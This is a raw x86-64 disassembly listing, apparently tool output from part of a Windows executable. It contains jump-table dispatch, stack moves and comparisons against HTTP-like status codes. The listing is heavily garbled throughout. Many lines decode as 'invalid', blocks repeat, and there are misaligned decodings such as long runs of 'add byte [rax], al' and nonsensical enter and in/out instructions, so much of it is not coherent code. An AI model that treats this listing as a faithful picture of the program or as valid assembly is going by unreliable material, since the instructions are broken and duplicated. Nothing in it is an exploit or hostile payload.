lea rax, [rcx + 0x30]
mov qword [rsp + 0x4c8], rax
mov dword [rsp + 0x19c], eax
mov rcx, qword [rsp + 0x88]
lea rax, [rcx + 0x18]
mov qword [rsp + 0x240], rax
lea rax, [rcx + 0x30]
mov qword [rsp + 0x4c8], rax
mov dword [rsp + 0x19c], eax
mov dword [rsp + 0x90], eax
movzx eax, byte [rsp + 0x340]
mov dh, 0x84
and al, 0x40
add eax, dword [rax]
add byte [rax - 0x7d], cl
clc
or al, 0xf
test bh, bh
add eax, dword [rax]
invalid
mov dh, 0x84
and al, 0x40
add eax, dword [rax]
add byte [rax - 0x7d], cl
clc
or al, 0xf
test bh, bh
add eax, dword [rax]
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov r8, r15
mov r15, qword [rsp + 0x348]
mov r14, qword [rsp + 0x350]
mov byte [rsp + 0x340], 0xb
cmp al, 0xb
jne 0x1400189f0
mov rdx, qword [rsp + 0x358]
mov qword [rsp + 0x358], 0
test rdx, rdx
je 0x140018a80
mov r15, qword [rsp + 0x360]
mov r14, qword [rsp + 0x368]
mov rax, qword [rsp + 0x370]
mov qword [rsp + 0x108], rax
mov ecx, 4
lea rax, [rcx - 2]
dec rcx
cmp rax, 6
mov eax, 0
cmovae rcx, rax
mov al, 7
lea r9, [0x1401921ec]
lea ecx, [0x1401921ec]
lea ecx, [0x1401921ec]
movsxd r8, dword [r9 + rcx*4]
add r8, r9
mov r12, rdx
mov ecx, edx
movzx edi, byte [rsp + 0x47]
mov r13, qword [rsp + 0x190]
mov rbp, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xa0]
mov r10d, dword [rsp + 0x90]
jmp r8
movzx ecx, byte [rsp + 0x347]
shl ecx, 0x10
movzx r8d, word [rsp + 0x345]
or r8d, ecx
mov edx, dword [rsp + 0x341]
shl r8, 0x28
shl rdx, 8
or rdx, r8
or rdx, rax
mov ecx, 3
lea rax, [rcx - 2]
dec rcx
cmp rax, 6
mov eax, 0
cmovae rcx, rax
mov al, 7
lea r9, [0x1401921ec]
movsxd r8, dword [r9 + rcx*4]
invalid
add al, 0x89
invalid
add r8, r9
mov r12, rdx
mov ecx, edx
movzx edi, byte [rsp + 0x47]
mov r13, qword [rsp + 0x190]
mov rbp, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xa0]
mov r10d, dword [rsp + 0x90]
jmp r8
mov rbx, r12
shr rbx, 0x10
mov al, 2
jmp 0x140018ce3
mov rdx, qword [rsp + 0x378]
mov qword [rsp + 0x378], 0
test rdx, rdx
je 0x140018b0f
mov r15, qword [rsp + 0x380]
mov r14, qword [rsp + 0x388]
mov rax, qword [rsp + 0x390]
mov qword [rsp + 0x108], rax
mov ecx, 2
lea rax, [rcx - 2]
dec rcx
cmp rax, 6
mov eax, 0
cmovae rcx, rax
mov al, 7
lea r9, [0x1401921ec]
movsxd r8, dword [r9 + rcx*4]
add r8, r9
mov r12, rdx
mov ecx, edx
movzx edi, byte [rsp + 0x47]
mov r13, qword [rsp + 0x190]
mov rbp, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xa0]
mov ah, 0x24
movabs al, byte [0x9024948b44000000]
add byte [rax], al
add byte [rcx - 1], al
jmp r8
mov ah, 0x24
movabs al, byte [0x9024948b44000000]
add byte [rax], al
add byte [rcx - 1], al
jmp r8
invalid
mov rdx, qword [rsp + 0x398]
mov edx, dword [rsp + 0x398]
mov qword [rsp + 0x398], 0
test rdx, rdx
je 0x140018b9e
mov r15, qword [rsp + 0x3a0]
mov r14, qword [rsp + 0x3a8]
mov rax, qword [rsp + 0x3b0]
test byte [rax + rsi*4], ah
add eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + rcx], ah
add dword [rax], eax
add byte [rcx + 5], bh
test byte [rax + rsi*4], ah
add eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + rcx], ah
add dword [rax], eax
add byte [rcx + 5], bh
lea rax, [rcx - 2]
lea eax, [rcx - 2]
dec rcx
cmp rax, 6
mov eax, 0
cmovae rcx, rax
mov al, 7
lea r9, [0x1401921ec]
movsxd r8, dword [r9 + rcx*4]
add r8, r9
mov r12, rdx
mov ecx, edx
ror dword [rdi], 1
mov dh, 0x7c
and al, 0x47
ror dword [rdi], 1
mov dh, 0x7c
and al, 0x47
mov r13, qword [rsp + 0x190]
mov rbp, qword [rsp + 0xa8]
add byte [rax - 0x75], cl
mov ah, 0x24
movabs al, byte [0x9024948b44000000]
add byte [rax], al
add byte [rcx - 1], al
jmp r8
add byte [rax - 0x75], cl
mov ah, 0x24
movabs al, byte [0x9024948b44000000]
add byte [rax], al
add byte [rcx - 1], al
jmp r8
invalid
mov rdx, qword [rsp + 0x3b8]
mov edx, dword [rsp + 0x3b8]
mov qword [rsp + 0x3b8], 0
test rdx, rdx
je 0x140018c2d
mov r15, qword [rsp + 0x3c0]
mov r14, qword [rsp + 0x3c8]
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x3d0]
mov eax, dword [rsp + 0x3d0]
mov qword [rsp + 0x108], rax
mov ecx, 6
add byte [rcx + 6], bh
lea rax, [rcx - 2]
dec rcx
cmp rax, 6
mov eax, 0
cmovae rcx, rax
mov al, 7
lea r9, [0x1401921ec]
add byte [rax + 0xf], cl
enter 0x7b0, 0x4c
lea ecx, [0x1401921ec]
movsxd r8, dword [r9 + rcx*4]
add r8, r9
mov r12, rdx
mov ecx, edx
movzx edi, byte [rsp + 0x47]
mov r13, qword [rsp + 0x190]
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
invalid
lodsb al, byte [rsi]
and al, 0xa8
add byte [rax], al
invalid
mov rbp, qword [rsp + 0xa8]
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
movabs al, byte [0x9024948b44000000]
add byte [rax], al
add byte [rcx - 1], al
invalid
invalid
mov rsi, qword [rsp + 0xa0]
mov r10d, dword [rsp + 0x90]
jmp r8
invalid
loopne 0x140018c3d
movzx eax, word [rsp + 0x3d8]
mov word [rsp + 0x3d8], 0
add byte [rax], al
add byte [rax], al
mov bh, 0x84
and al, 0xd8
add eax, dword [rax]
add byte [rsi - 0x39], ah
test byte [rax + rbx*8], ah
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
test rax, rax
je 0x140018d05
mov r12, qword [rsp + 0x3e0]
add byte [rax], al
add byte [rax], al
test rax, rax
je 0x140018d05
mov r12, qword [rsp + 0x3e0]
add eax, dword [rax]
add byte [rcx - 0x7f], cl
and r12, 0xffffffffffff0000
or r12, rax
and r12, 0xffffffffffff0000
or r12, rax
mov edx, 7
lea rax, [rdx - 2]
dec rdx
cmp rax, 6
mov eax, 0
add byte [rax + 0xf], cl
sal byte [r8 + 0x158d4c07], 1
jo 0x140018c0f
invalid
add byte [rbp + 0x63], cl
or al, 0x92
add r9, r10
mov edx, r12d
mov r15, r8
mov edi, eax
add byte [rax + 0xf], cl
sal byte [r8 + 0x158d4c07], 1
jo 0x140018c0f
invalid
mov r14, rbp
mov ecx, r12d
movzx edi, byte [rsp + 0x47]
mov r13, qword [rsp + 0x190]
mov rbp, qword [rsp + 0xa8]
and al, 0xa8
add byte [rax], al
invalid
test al, 0
add byte [rax], al
mov rsi, qword [rsp + 0xa0]
mov r10d, dword [rsp + 0x90]
jmp r9
mov rbx, r12
shr rbx, 0x10
mov al, 3
mov ecx, edx
jmp 0x140018ced
invalid
jmp 0x140018cce
sub dword [rcx + rcx*4 - 0x1d], ecx
mov rbx, r12
shr rbx, 0x10
mov al, 4
jmp 0x140018ce3
adc al, 0x4c
mov ebx, esp
mov rbx, r12
shr rbx, 0x10
mov al, 5
jmp 0x140018ce3
mov rbx, r12
shr rbx, 0x10
mov al, 6
mov ecx, edx
mov r13, qword [rsp + 0x108]
mov rbp, r14
mov rsi, r15
movzx edx, byte [rsp + 0x57]
mov r10d, edx
movzx edi, byte [rsp + 0x56]
jmp case.0x140018a6f.6
lea rcx, [rsp + 0x340]
call fcn.140012d20
nop word cs:[rax + rax]
add al, ch
invalid
mov byte [rsp + 0x340], 0xc
mov r8d, 0x9f
lea rcx, [rsp + 0x341]
lea rdx, [rsp + 0x1a0]
call fcn.140121660
cmp dword [rsp + 0x2f8], 1
jne 0x140018da0
mov rcx, qword [rsp + 0x300]
mov rdx, qword [rsp + 0x318]
cmp rcx, rdx
jae 0x14001baf5
mov rax, qword [rsp + 0x310]
lea rcx, [rcx + rcx*8]
test byte [rax + rcx*8 + 0x10], 1
add dword [rdi], ecx
test bl, dh
add al, byte [rax]
invalid
add dword [rdi], ecx
test bl, dh
add al, byte [rax]
add byte [rax - 0x73], cl
adc al, 0xc8
invalid
lea rdx, [rax + rcx*8]
enter 0xffffffffffff8348, 0xffffffffffffffc2
adc byte [rax - 0x75], cl
push rdx
or byte [rcx - 0x48], al
mov eax, 1
add rdx, 0x10
mov rdx, qword [rdx + 8]
mov r8d, 1
mov eax, 1
mov eax, 1
jmp 0x140019073
nop word cs:[rax + rax]
add byte [rax], al
mov rax, qword [rsp + 0x328]
cmp rax, qword [rsp + 0x338]
je 0x14001b5fe
sub byte [rax], al
invalid
sub byte [rax], al
add byte [rax - 0x73], cl
push 0x248c8948
mov word [rax + rbp], fs
add eax, dword [rax]
invalid
lea rcx, [rax + 0x68]
mov qword [rsp + 0x328], rcx
mov word [rax + rbp], fs
add eax, dword [rax]
invalid
mov word [rax + rbp], fs
add eax, dword [rax]
add byte [rax - 0x75], cl
or byte [rax - 0x7d], cl
stc
mov rcx, qword [rax]
cmp rcx, 2
add cl, byte [rdi]
test byte [rdi], ch
sub byte [rax], al
invalid
add cl, byte [rdi]
test byte [rdi], ch
sub byte [rax], al
add byte [rax - 0x75], cl
push rax
or byte [rbx + rcx*4 + 0x60], cl
mov esp, dword [rax + 0x40]
mov r15, qword [rax + 0x48]
mov rdx, qword [rax + 8]
mov r12, qword [rax + 0x40]
mov esp, dword [rax + 0x40]
mov esp, dword [rax + 0x40]
mov r15, qword [rax + 0x48]
mov r11, qword [rax + 0x50]
push rax
mov r10, qword [rax + 0x58]
movzx r8d, word [rax + 0x18]
mov dword [rsp + 0x19c], r8d
mov r8d, dword [rax + 0x1a]
sbb al, byte [rdi + rcx - 0x49]
invalid
invalid
shl r9, 0x20
and byte [rbp + 9], cl
ror dword [rcx + rcx*4 - 0x74], 0x24
and byte [rax + rax], al
invalid
sbb al, byte [rdi + rcx - 0x49]
invalid
and byte [rbp + 9], cl
ror dword [rcx + rcx*4 - 0x74], 0x24
and byte [rax + rax], al
add byte [rbx + rcx*4 + 0x40], cl
mov r8, qword [rax + 0x20]
mov qword [rsp + 0x418], r8
add byte [rax], al
mov r8, qword [rax + 0x28]
invalid
invalid
test byte [rax + rdx], ah
adc byte [rax + rax], al
mov r8, qword [rax + 0x20]
mov qword [rsp + 0x418], r8
add byte [rax], al
add byte [rax], al
mov r8, qword [rax + 0x28]
mov qword [rsp + 0x410], r8
adc byte [rax + rax], al
add byte [rbx + rcx*4 + 0x40], cl
xor byte [rcx + rcx*4 - 0x7c], cl
and al, 8
or byte [rax + rax], al
add byte [rdi + rcx - 0x4a], al
cmp byte [rax + rcx*4 + 0x44], al
and al, 0x7f
adc byte [rax + rax], al
add byte [rbx + rcx*4 + 0x40], cl
xor byte [rcx + rcx*4 - 0x7c], cl
and al, 8
or byte [rax + rax], al
or byte [rax + rax], al
add byte [rdi + rcx - 0x4a], al
cmp byte [rax + rcx*4 + 0x44], al
and al, 0x7f
movzx r8d, byte [rax + 0x39]
mov byte [rsp + 0x7e], r8b
mov r8d, dword [rax + 0x3a]
movzx eax, word [rax + 0x3e]
shl rax, 0x20
or rax, r8
mov qword [rsp + 0x400], rax
mov qword [rsp + 0x2f8], rcx
mov qword [rsp + 0x300], rdx
add byte [rax], al
mov qword [rsp + 0x500], r12
mov qword [rsp + 0x4f8], r15
mov r14, r11
mov qword [rsp + 0x4f0], r11
add byte [rcx + rcx*4 - 0x6c], cl
and al, 8
add dword [rax], eax
add byte [rcx + rcx*4 - 0x6c], cl
and al, 0xe8
add al, 0
add byte [rcx + rcx*4 - 0x1f], al
add byte [rcx + rcx*4 - 0x6c], cl
and al, 8
add dword [rax], eax
add byte [rcx + rcx*4 - 0x6c], cl
and al, 0xe8
add al, 0
add byte [rcx + rcx*4 - 0x1f], al
mov edx, dword [rsp + 0x19c]
mov r10d, edx
shr r10d, 8
invalid
or byte [rcx + rcx*4 - 0x1d], cl
shr rbx, 0x10
mov rax, qword [rsp + 0x400]
mov eax, dword [rsp + 0x400]
and al, 0x9c
add dword [rax], eax
add byte [rcx - 0x77], al
rol byte [rcx - 0x3f], cl
invalid
mov eax, dword [rsp + 0x400]
mov qword [rsp + 0x510], rax
mov rax, qword [rsp + 0x420]
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
add eax, dword [rax]
add byte [rax - 0x75], cl
test byte [rax + rcx], ah
add al, 0
add byte [rax - 0x77], cl
mov dword [rsp + 0x508], eax
and al, 0x10
add eax, 0x8b480000
test byte [rax + riz], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
add eax, dword [rax]
add byte [rax - 0x75], cl
test byte [rax + rcx], ah
add al, 0
add byte [rax - 0x77], cl
mov dword [rsp + 0x508], eax
invalid
invalid
test byte [rax + rdx], ah
and al, 0x10
mov dword [rsp + 0x508], eax
mov rax, qword [rsp + 0x410]
mov qword [rsp + 0x438], rax
add al, 0
add byte [rax - 0x75], cl
test byte [rax + rbx], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
add al, 0
add byte [rax], al
and al, 0x10
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rdi], ah
add al, 0
add byte [rax - 0x75], cl
test byte [rax + rbx], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
add al, 0
add byte [rax], al
invalid
invalid
lodsb al, byte [rsi]
and al, 8
add byte [rax], al
mov r13, qword [rsp + 0x108]
mov rbp, r14
add dword [rax], eax
add byte [rcx + rcx*4 - 0xb], cl
mov rsi, r15
mov esi, edi
movzx eax, byte [rsp + 0x7e]
mov byte [rsp + 0x97], al
mov byte [rsp + 0x57], r10b
mov byte [rsp + 0x56], dl
and al, 0x56
and al, 0x56
mov edi, edx
movzx edx, byte [rsp + 0x7f]
mov eax, edx
cmp dl, 8
cli
or byte [rdi], cl
test byte [rdi], cl
add al, byte [rax]
invalid
cli
or byte [rdi], cl
test byte [rdi], cl
add al, byte [rax]
add byte [rcx + rcx*4 - 0x5c], cl
mov qword [rsp + 0x3e0], r12
invalid
invalid
mov word [rax + rbx*4], fs
and al, 0x98
mov qword [rsp + 0x3e0], r12
loopne 0x140018f38
add byte [rax], al
mov word [rsp + 0x298], cx
mov dword [rsp + 0x298], ecx
and al, 0x98
add al, byte [rax]
add byte [rcx + 0x29a249c], cl
and al, 0x9a
add al, byte [rax]
invalid
mov dword [rsp + 0x29a], ebx
and al, 0x9a
add al, byte [rax]
add byte [rax - 0x77], cl
mov rdx, rbx
shr rdx, 0x20
mov word [rsp + 0x29e], dx
xchg esp, eax
and al, 0x9e
add al, byte [rax]
add byte [rax - 0x77], cl
mov dword [rsp + 0xa0], esi
fimul dword [rax - 0x3f]
invalid
xchg esp, eax
and al, 0x9e
add al, byte [rax]
add byte [rax - 0x77], cl
mov dword [rsp + 0xa0], esi
invalid
invalid
mov ah, 0x24
invalid
mov dword [rsp + 0xa0], esi
mov qword [rsp + 0x2a0], rsi
mov qword [rsp + 0xa8], rbp
test al, 0
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x77], cl
lodsb al, byte [rsi]
and al, 0xa8
test al, 0
add byte [rax], al
invalid
invalid
lodsb al, byte [rsi]
test al, 0
add byte [rax], al
mov qword [rsp + 0x2a8], rbp
mov qword [rsp + 0x190], r13
mov qword [rsp + 0x2b0], r13
mov byte [rsp + 0x47], dil
mov byte [rsp + 0x2b8], dil
and al, 0xa8
add al, byte [rax]
add byte [rcx + rcx*4 - 0x54], cl
and al, 0x90
add dword [rax], eax
add byte [rcx + rcx*4 - 0x54], cl
and al, 0xb0
add al, byte [rax]
add byte [rax - 0x78], al
jl 0x140018fad
mov byte [rsp + 0x2b8], dil
mov dword [rsp + 0x90], r10d
mov byte [rsp + 0x2b9], r10b
mov rdx, qword [rsp + 0x3f0]
mov dword [rsp + 0x2ba], edx
shr rdx, 0x20
mov edx, 0x48000002
shr edx, 0x20
mov word [rsp + 0x2be], dx
mov rdx, qword [rsp + 0x430]
mov qword [rsp + 0x2c0], rdx
mov rdx, qword [rsp + 0x438]
mov qword [rsp + 0x2c8], rdx
mov rdx, qword [rsp + 0x508]
mov qword [rsp + 0x2d0], rdx
mov byte [rsp + 0x2d8], al
movzx edx, byte [rsp + 0x97]
mov byte [rsp + 0x2d9], dl
add al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x10
add eax, 0x94890000
and al, 0xda
add al, byte [rax]
add byte [rax - 0x3f], cl
invalid
and byte [rsi - 0x77], ah
xchg esp, eax
and al, 0xde
add al, byte [rax]
add byte [rdi], cl
mov dh, pe_nt_image_headers64
add al, 0xfe
dec rsi
cmp al, 6
mov eax, 0
cmovae rsi, rax
invalid
mov r8b, 1
lea rdx, [0x140192208]
movsxd rax, dword [rdx + rsi*4]
add rax, rdx
mov qword [rsp + 0x98], rbx
jmp rax
invalid
mov al, 2
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x298], 0
je 0x140019427
mov rbp, r14
jmp 0x1400199d0
or word [rax], ax
add byte [rsi + 0xf], ah
invalid
xor r8d, r8d
mov qword [rsp + 0x2f8], r8
mov dword [rsp + 0x2f8], eax
mov qword [rsp + 0x300], rdx
movzx r11d, word [rax + rcx*8 + 0x20]
mov edx, dword [rax + rcx*8 + 0x22]
movzx r10d, word [rax + rcx*8 + 0x26]
push rsp
invalid
invalid
push rsp
enter 0x4926, 0xffffffffffffffc1
shl r10, 0x20
shl r10, 0x20
and byte [rcx + 9], cl
ror byte [rax - 0x75], cl
je 0x140019066
or r10, rdx
mov rsi, qword [rax + rcx*8 + 0x28]
mov rbp, qword [rax + rcx*8 + 0x30]
mov rbx, qword [rax + rcx*8 + 0x38]
movzx r8d, byte [rax + rcx*8 + 0x40]
movzx r9d, byte [rax + rcx*8 + 0x41]
movzx ecx, byte [rax + rcx*8 + 0x41]
sub byte [rax - 0x75], cl
insb byte [rdi], dx
enter 0x4830, 0xffffffffffffff8b
pop rsp
enter 0x4438, 0xf
mov dh, 0x44
enter 0x4440, 0xf
movzx ecx, byte [rax + rcx*8 + 0x41]
invalid
push rsp
movzx ecx, byte [rax + rcx*8 + 0x41]
mov edx, dword [rax + rcx*8 + 0x42]
movzx eax, word [rax + rcx*8 + 0x46]
mov bh, 0x44
enter 0x4846, 0xffffffffffffffc1
loopne 0x1400190e2
enter 0xf42, 0xffffffffffffffb7
enter 0x4846, 0xffffffffffffffc1
mov bh, 0x44
enter 0x4846, 0xffffffffffffffc1
loopne 0x1400190e2
or rax, rdx
mov r12, qword [rsp + 0x500]
add eax, 0x8b480000
mov word [rax + rbp*8], fs
and al, 0xe8
add al, 0
add byte [rax - 0x77], cl
mov word [rax + rcx], fs
or byte [rcx], al
add byte [rax], al
invalid
ror byte [rbx + rcx*4 - 0x5c], 1
and al, 0
add eax, 0x8b480000
mov word [rax + rbp*8], fs
and al, 0xe8
and al, 0xe8
add al, 0
add byte [rax - 0x77], cl
mov word [rax + rcx], fs
or byte [rcx], al
invalid
or byte [rcx], al
add byte [rax], al
invalid
add byte [rbx + rcx*4 - 0x4c], cl
mov r14, qword [rsp + 0x4f0]
mov r15, qword [rsp + 0x4f8]
mov edi, dword [rsp + 0x4f8]
and al, 0xf0
add al, 0
add byte [rbx + rcx*4 - 0x44], cl
invalid
mov esp, 0x4f824
mov edi, dword [rsp + 0x4f8]
add byte [rax - 0x77], cl
test byte [rax + rax], ah
add al, 0
add byte [rax - 0x77], cl
invalid
invalid
test byte [rax + rsi*8], ah
mov qword [rsp + 0x400], rax
mov qword [rsp + 0x3f0], rax
mov qword [rsp + 0x408], rbx
mov r13, rbx
mov ebp, ebx
add eax, dword [rax]
add byte [rax - 0x77], cl
pushfq
and al, 8
add al, 0
add byte [rcx - 0x77], cl
mov ebp, ebx
mov qword [rsp + 0x410], rbp
mov qword [rsp + 0x418], rsi
mov byte [rsp + 0x7f], r8b
and al, 0x7f
mov ebp, ebx
mov qword [rsp + 0x410], rbp
mov qword [rsp + 0x418], rsi
mov byte [rsp + 0x7f], r8b
and al, 0x7f
and al, 0x7f
mov edi, r8d
mov qword [rsp + 0x420], r10
and byte [rax + rax], al
add byte [rcx + rcx*4 - 0x2d], cl
and byte [rax + rax], al
add al, 0
add byte [rcx + rcx*4 - 0x2d], cl
mov byte [rsp + 0x7e], r9b
and al, 0x7e
mov r10d, r9d
mov dword [rsp + 0x19c], r11d
add dword [rax], eax
invalid
mov dword [rsp + 0x19c], ebx
add dword [rax], eax
add byte [rcx + rcx*4 - 0x27], al
mov ecx, r11d
mov qword [rsp + 0x3e0], r12
loopne 0x140019147
add byte [rax], al
add byte [rsi - 0x77], ah
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rax], al
invalid
pushfq
and al, 0xb2
invalid
mov word [rsp + 0xb0], cx
mov dword [rsp + 0xb0], ecx
add byte [rax], al
mov dword [rsp + 0xb2], ebx
pushfq
and al, 0xb2
mov dl, 0
add byte [rax], al
add byte [rax - 0x77], cl
fmul dword [rax - 0x3f]
shr rax, 0x20
mov word [rsp + 0xb6], ax
mov qword [rsp + 0xb8], rsi
invalid
add byte [rax], al
mov rax, rbx
shr rax, 0x20
mov word [rsp + 0xb6], ax
mov qword [rsp + 0xb8], rsi
mov qword [rsp + 0xc0], rbp
mov dword [rsp + 0xc0], ebp
lodsb al, byte [rsi]
and al, 0xc0
add byte [rax], al
add byte [rcx + rcx*4 - 0x54], cl
mov qword [rsp + 0xc8], r13
and al, 0xc8
add byte [rax], al
add byte [rax - 0x78], al
mov esp, 0xd024
and al, 0xd0
add byte [rax], al
enter 0, 0
mov byte [rsp + 0xd0], dil
and al, 0xd0
add byte [rax], al
add byte [rax], al
add byte [rax + rcx*4 - 0x6c], al
and al, 0xd1
mov byte [rsp + 0xd1], r10b
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x3f0]
invalid
test byte [rdx + rdx*8], ah
invalid
mov rax, qword [rsp + 0x3f0]
mov dword [rsp + 0xd2], eax
test byte [rdx + rdx*8], ah
add byte [rax], al
invalid
test byte [rdx + rdx*8], ah
add byte [rax], al
add byte [rax - 0x3f], cl
shr rax, 0x20
invalid
invalid
invalid
add byte [rax], al
shr rax, 0x20
mov word [rsp + 0xd6], ax
mov rax, qword [rsp + 0x470]
test byte [rax + rsi*2], ah
add al, 0
add byte [rax - 0x7d], cl
cmp eax, 5
and al, 0xd6
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rsi*2], ah
add al, 0
add byte [rax - 0x7d], cl
cmp eax, 5
invalid
test byte [rcx + rbp], ah
cmp eax, 5
je 0x14001badd
test byte [rcx + rbp], ah
add byte [rax], al
add byte [rcx - 0x77], al
stc
mov r9d, edi
mov rdx, rsi
mov edx, esi
mov dword [rsp + 0x90], r10d
mov dword [rsp + 0x90], r10d
mov qword [rsp + 0xa8], rbp
mov qword [rsp + 0x190], r13
lodsb al, byte [rsi]
and al, 0x90
add dword [rax], eax
add byte [rbx - 0x77bffb08], al
jl 0x140019202
mov qword [rsp + 0xa0], rsi
add byte [rax], al
add byte [rcx + rcx*4 - 0x54], cl
lodsb al, byte [rsi]
lodsb al, byte [rsi]
and al, 0x90
nop
add dword [rax], eax
add byte [rbx - 0x77bffb08], al
jl 0x140019202
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa0], esi
add byte [rax], al
jae case.default.0x1400191fa
lea rcx, [0x1401924e0]
movsxd rax, dword [rcx + rax*4]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
mov rbp, r14
cmc
cmc
jmp rax
mov rcx, qword [rsp + 0x478]
mov ecx, dword [rsp + 0x478]
js 0x140019206
add byte [rax], al
jmp 0x1400193c3
add dword [rax], eax
add byte [rdi], cl
invalid
add byte [rax], al
nop dword [rax]
add byte [rax], al
add byte [rax], al
mov rdi, r15
mov edi, edi
movzx eax, byte [rsp + 0x4b8]
add byte [rax], al
lea ecx, [rax - 2]
dec rax
cmp cl, 6
invalid
dec byte [rax - 1]
dec byte [rax - 1]
enter 0xfffffffffffff980, 6
invalid
mov ecx, 0
add byte [rax], al
add byte [rax], al
add byte [rax + 0xf], cl
sar dword [r14 + 7], 0x48
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x17928b
cmovae rax, rcx
mov esi, 7
lea rcx, [0x1401924c4]
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x17928b
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
mov rbp, r14
mov ebp, esi
mov ebp, esi
cmc
jmp rax
mov r12, rbx
cmp qword [rsp + 0x478], 0
and al, 0x78
add al, 0
add byte [rax], al
and al, 0x78
add al, 0
add byte [rax], al
add byte [rdi], cl
test ah, cl
add al, 0
add byte [rax - 0x75], cl
invalid
invalid
je 0x140019723
mov rbx, qword [rsp + 0x480]
mov rsi, qword [rsp + 0x488]
mov byte [rax + rax], al
add byte [rcx - 0xa], al
rol dword [rcx], 0xf
test edi, edi
inc dword [rcx]
add byte [rax], al
pushfq
and al, 0x80
add al, 0
add byte [rax - 0x75], cl
mov ah, 0x24
mov byte [rax + rax], al
add byte [rcx - 0xa], al
rol dword [rcx], 0xf
test edi, edi
inc dword [rcx]
add byte [rax], al
jmp 0x1400194c0
invalid
invalid
inc dword [rcx]
add byte [rax], al
jmp 0x1400194c0
mov rax, qword [rsp + 0xa8]
mov eax, dword [rsp + 0xa8]
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax - 0x7d], cl
clc
cmp rax, 0xb
je 0x1400195e3
add byte [rax], al
or ecx, dword [rdi]
test byte [rbx + 3], bl
add byte [rax], al
cmp rax, 1
mov rbp, r14
jne 0x1400193e3
mov rax, qword [rsp + 0xa0]
mov eax, dword [rsp + 0xa0]
cmp byte [rax], 0x2f
jne 0x1400193e3
invalid
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
mov al, 1
mov ecx, 4
add byte [rax], al
add dword [rcx + 4], edi
add byte [rax], al
jmp 0x140019644
mov esi, 2
mov rax, qword [rsp + 0x3e0]
cmp al, 1
je 0x1400196ad
out 3, al
add byte [rax], al
movzx eax, al
xor r8d, r8d
mov ecx, 0
add byte [rax - 0x77], cl
and al, 0x48
add byte [rax - 0x77], cl
and al, 0x48
cmp eax, 2
mov rbp, r14
clc
add cl, byte [rcx + rcx*4 - 0xb]
jne 0x1400199d0
in eax, dx
invalid
mov esi, 3
add byte [rax], al
add cl, ch
jae 0x1400192ef
add byte [rax], al
jmp 0x140019760
add byte [rax], al
mov rax, qword [rsp + 0xa8]
mov eax, dword [rsp + 0xa8]
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax - 0x7d], cl
clc
add eax, 0x3b6840f
je 0x1400196b5
cmp rax, 5
je 0x1400196b5
mov esi, 6
cmp rax, 4
invalid
jne case.0x140026f82.1
xor r8d, r8d
mov rax, qword [rsp + 0xa0]
cmp dword [rax], 0x70747468
push 0xffffffffb8707474
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x48
invalid
mov qword [rsp + 0x48], rax
mov rbp, r14
mov rbp, r14
cmc
jne 0x1400199d0
jmp 0x140019760
nop dword cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
xor r8d, r8d
mov qword [rsp + 0x48], 0
add byte [rax], al
add byte [rcx + rcx*4 - 0xb], cl
add byte [rax], al
add byte [rcx + rcx*4 - 0xb], cl
jmp 0x1400199d0
add byte [rax + 0x44894802], dh
and al, 0x48
mov al, 2
mov qword [rsp + 0x48], rax
mov rbp, r14
jmp 0x1400199d0
movzx eax, cx
sar dword [rsi + 8], 0x45
xor eax, eax
mov esi, 8
xor r8d, r8d
cmp eax, 0x12f
jle 0x1400193ef
invalid
cmp eax, 0x193
jg 0x1400196d1
cmp eax, 0x130
add byte [rax], al
mov rbp, r14
je 0x14001974b
mov ecx, 0
add byte [rax], al
mov qword [rsp + 0x48], rcx
cmp eax, 0x190
add byte [rax], al
add byte [rax], al
jne 0x1400199d0
mov esi, 0xc
jmp 0x140019760
mov rcx, qword [rsp + 0x478]
mov ecx, dword [rsp + 0x478]
mov word [rax + rdi*2], fs
add al, 0
add bl, ch
or byte [rax - 0x75], cl
mov rcx, qword [rsp + 0x480]
add rcx, 0x3e
lea rax, [rsp + 0x58]
jmp 0x1400193bf
mov rcx, qword [rsp + 0x480]
add rcx, 0x3e
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
and r9b, 1
mov r8, qword [rsp + 0xa8]
call fcn.140015290
jmp 0x14001953b
mov ecx, 4
add byte [rax], al
xor eax, eax
jmp 0x140019644
cmp eax, 0xc8
mov rbp, r14
je 0x140019760
cmp eax, 0xcc
je 0x140019759
mov ecx, 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x48], rcx
cmp eax, 0xce
jne 0x1400199d0
mov esi, 0xa
jmp 0x140019760
add byte [rax], al
mov rcx, qword [rsp + 0xa0]
add byte [rax - 0x76b3b307], al
cmp cl, 0x4c
mov rbp, r14
cmc
cmc
ja case.0x14001944e.5
xor eax, eax
movzx ecx, cl
mov dh, 0xc9
mov dh, 0xc9
